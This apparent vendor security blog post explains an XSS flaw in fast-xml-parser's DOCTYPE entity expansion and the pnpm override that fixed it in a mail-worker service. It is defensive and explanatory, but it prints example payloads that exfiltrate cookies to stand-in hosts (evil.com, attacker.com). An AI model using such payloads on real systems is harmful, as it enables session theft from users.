How Cross-Site Scripting Happens in XML Parsing Libraries and How to Fix It
The Incident
In the mail-worker service, Trivy flagged a critical vulnerability in mail-worker/pnpm-lock.yaml: the project's dependency tree included a version of fast-xml-parser affected by CVE-2026-25896, a Cross-Site Scripting flaw rooted in improper DOCTYPE entity handling. The fix required upgrading the library and enforcing the new version across the entire dependency graph using a pnpm override.
This post breaks down exactly what went wrong, how the attack works, and what the fix does — with concrete code from the actual pull request.
The Vulnerability Explained
What Is DOCTYPE Entity Injection?
XML documents can include a Document Type Definition (DOCTYPE) block that declares named entities — essentially variables that the parser substitutes when it encounters them in the document body. A well-known attack class, XML Entity Expansion, abuses this feature. In the context of XSS, the attack is more targeted: an attacker crafts a DOCTYPE block that defines an entity whose value is raw HTML or JavaScript:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xss "<script>document.location='https://evil.com/steal?c='+document.cookie</script>">
]>
<root>
<message>&xss;</message>
</root>
When fast-xml-parser processes this document in the affected versions (prior to 5.3.5 / 4.5.4), it expands &xss; into the raw <script> tag and includes it in the parsed JavaScript object. If any part of the application then renders that parsed value as HTML — for example, embedding it in an email template, a web UI, or a log viewer — the script executes in the victim's browser.
Why mail-worker Is Exposed
The mail-worker service is a Cloudflare Worker responsible for processing inbound and outbound email. Its package.json pulls in several dependencies that themselves depend on fast-xml-parser:
"dependencies": {
"@aws-sdk/client-s3": "^3.882.0",
"postal-mime": "^2.4.3",
"linkedom": "^0.18.10",
...
}
Libraries like postal-mime (for MIME email parsing) and @aws-sdk/client-s3 (for S3 operations, which use XML-based API responses) both pull in fast-xml-parser as a transitive dependency. Email content — especially MIME-encoded XML payloads or S3 XML error responses — is inherently attacker-influenced input. An adversary who can send a crafted email or trigger a specific S3 response can inject a DOCTYPE payload into the XML that fast-xml-parser processes.
The Specific Problematic Pattern
In versions before the fix, fast-xml-parser's entity resolution logic did not restrict or strip DOCTYPE-declared entities before returning parsed output. The parser would faithfully expand any <!ENTITY> declaration, including those containing HTML tags, and return the expanded string as a plain JavaScript value — with no indication to the caller that the value originated from a DOCTYPE expansion.
The result: untrusted XML input → entity expansion → raw HTML in parsed output → XSS when rendered.
Real-World Attack Scenario
Consider this concrete path in mail-worker:
- An attacker sends an email with a MIME attachment containing a crafted XML document with a DOCTYPE entity that expands to
<script>fetch('https://attacker.com/?session='+document.cookie)</script>. postal-mimehands the attachment content tofast-xml-parserfor parsing.- The vulnerable
fast-xml-parserexpands the entity and returns the script tag as a string value in the parsed object. - The
mail-workerprocesses the parsed object and — directly or indirectly — includes the value in an email preview, a notification UI, or a stored record that is later rendered in a browser. - The victim's browser executes the injected script, leaking session cookies or performing actions on behalf of the user.
The Fix
What Changed
The fix involved two coordinated changes across mail-worker/package.json and mail-worker/pnpm-lock.yaml.
1. mail-worker/package.json — Adding a pnpm Override
The core change is the addition of a pnpm.overrides block:
Before:
{
"name": "mail-worker",
"dependencies": {
"@aws-sdk/client-s3": "^3.882.0",
"postal-mime": "^2.4.3",
...
}
}
After:
{
"name": "mail-worker",
"dependencies": {
"@aws-sdk/client-s3": "^3.882.0",
"postal-mime": "^2.4.3",
...
},
"pnpm": {
"overrides": {
"fast-xml-parser": "5.7.0"
}
}
}
This pnpm.overrides entry forces every package in the dependency tree that depends on fast-xml-parser — regardless of what version they request — to receive version 5.7.0. Without this override, @aws-sdk/client-s3 or postal-mime might still resolve to the vulnerable 5.2.5 or 4.x range, even if a direct dependency on a newer version exists.
2. mail-worker/pnpm-lock.yaml — Locking the Override
The pnpm-lock.yaml was updated to record the override:
overrides:
fast-xml-parser: 5.7.0
This entry in the lockfile ensures that the override is reproducible across all environments — CI, staging, and production — and that pnpm install always resolves to the patched version, not a cached vulnerable one.
Why This Specific Fix Works
The patched versions of fast-xml-parser (5.3.5, 4.5.4, and 5.7.0) address the DOCTYPE entity expansion issue by:
- Restricting entity expansion by default: DOCTYPE-declared entities are no longer automatically expanded into their raw string values unless explicitly permitted by the caller.
- Sanitizing entity values: When entity expansion is permitted, the library now validates that entity values do not contain raw HTML tags or JavaScript URIs.
- Exposing
allowDoctypeDeclaration: A new parser option gives developers explicit control over whether DOCTYPE blocks are processed at all.
The pnpm override approach is the correct strategy here because fast-xml-parser is a transitive dependency — it isn't listed directly in mail-worker/package.json, so bumping it requires either waiting for upstream packages to update their own dependencies or forcing the resolution via an override.
Prevention & Best Practices
1. Disable DOCTYPE Processing When You Don't Need It
If your application doesn't rely on DOCTYPE entity expansion, disable it explicitly in your fast-xml-parser configuration:
import { XMLParser } from 'fast-xml-parser';
const parser = new XMLParser({
allowBooleanAttributes: true,
// Disable DOCTYPE entity expansion entirely
allowDoctypeDeclaration: false,
});
const result = parser.parse(xmlString);
This is a defense-in-depth measure that protects you even if a future vulnerability bypasses version-based fixes.
2. Audit Transitive Dependencies Regularly
The vulnerability lived in pnpm-lock.yaml, not in package.json — it was a transitive dependency. Direct dependency audits miss these. Use:
# Audit with pnpm
pnpm audit
# Scan with Trivy
trivy fs --scanners vuln .
# Or use a dedicated SCA tool
snyk test
3. Use pnpm Overrides (or npm/yarn Resolutions) for Transitive Fixes
When a transitive dependency is vulnerable and the upstream package hasn't updated yet, use your package manager's override mechanism:
| Package Manager | Mechanism |
|---|---|
| pnpm | "pnpm": { "overrides": { "pkg": "version" } } |
| npm | "overrides": { "pkg": "version" } |
| yarn | "resolutions": { "pkg": "version" } |
Always pin to a specific patched version rather than a range, and document why the override exists.
4. Sanitize XML Parser Output Before Rendering
Even with a patched parser, treat all XML-derived values as untrusted when rendering to HTML. Use a sanitization library:
import DOMPurify from 'dompurify';
const parsed = parser.parse(xmlFromEmail);
const safeValue = DOMPurify.sanitize(parsed.message);
// Now safe to render as HTML
5. Reference Security Standards
- OWASP XSS Prevention Cheat Sheet: Covers output encoding and sanitization strategies.
- CWE-79: The canonical definition of Improper Neutralization of Input During Web Page Generation.
- CWE-611: XML External Entity (XXE) Reference — closely related to DOCTYPE abuse.
Key Takeaways
fast-xml-parserversions before 5.3.5 / 4.5.4 expand DOCTYPE entities unsafely — any application that feeds attacker-controlled XML (like email attachments or API responses) to the parser is at risk.- Transitive dependencies in
pnpm-lock.yamlare just as dangerous as direct ones — the vulnerability wasn't inmail-worker/package.json's direct dependencies but in whatpostal-mimeand@aws-sdk/client-s3pulled in. - pnpm overrides are the correct tool for forcing transitive dependency upgrades — the
"pnpm": { "overrides": { "fast-xml-parser": "5.7.0" } }block ensures every consumer in the tree gets the patched version. - Email processing pipelines are high-risk surfaces for XML injection — MIME attachments and XML-based cloud API responses are both attacker-influenced and commonly parsed with XML libraries.
- Set
allowDoctypeDeclaration: falseinfast-xml-parseras a defense-in-depth measure whenever your application doesn't require DOCTYPE entity expansion.
How Orbis AppSec Detected This
- Source: Attacker-controlled XML content entering the
mail-workerpipeline via inbound email attachments or XML-formatted responses from AWS S3 APIs consumed by@aws-sdk/client-s3. - Sink:
fast-xml-parser's internal entity expansion logic, which resolves DOCTYPE-declared entities into raw string values before returning the parsed object — ultimately surfacing in any HTML rendering path downstream of the parser call. - Missing control: No restriction on DOCTYPE entity expansion in the parser configuration; no sanitization of parser output before HTML rendering; no version constraint preventing the vulnerable
5.2.5/4.xrange from being resolved for transitive dependents. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
- Fix: Added a
pnpm.overridesentry inmail-worker/package.jsonpinningfast-xml-parserto5.7.0and updatedpnpm-lock.yamlto record and enforce the override across the full dependency tree.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-25896 is a sharp reminder that the XML you parse is only as safe as the library parsing it. fast-xml-parser's improper DOCTYPE entity handling turned a routine email processing pipeline into a potential XSS vector — not through any mistake in the application code itself, but through a subtle flaw in a transitive dependency buried three levels deep in the dependency graph.
The fix is precise and minimal: a pnpm override in mail-worker/package.json forces fast-xml-parser@5.7.0 across the entire tree, and the updated pnpm-lock.yaml makes that resolution reproducible everywhere. Paired with defensive parser configuration (allowDoctypeDeclaration: false) and output sanitization, this closes the attack surface completely.
For developers building email processing services, API gateways, or any system that parses XML from external sources: audit your transitive dependencies, keep your lock files under version control, and treat every byte of XML from an untrusted source as potentially hostile.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- CWE-611: Improper Restriction of XML External Entity Reference
- OWASP Cross Site Scripting Prevention Cheat Sheet
- OWASP XML Security Cheat Sheet
- fast-xml-parser npm package
- Semgrep rules for XSS detection
- fix: upgrade fast-xml-parser to 5.3.5, 4.5.4 (CVE-2026-25896)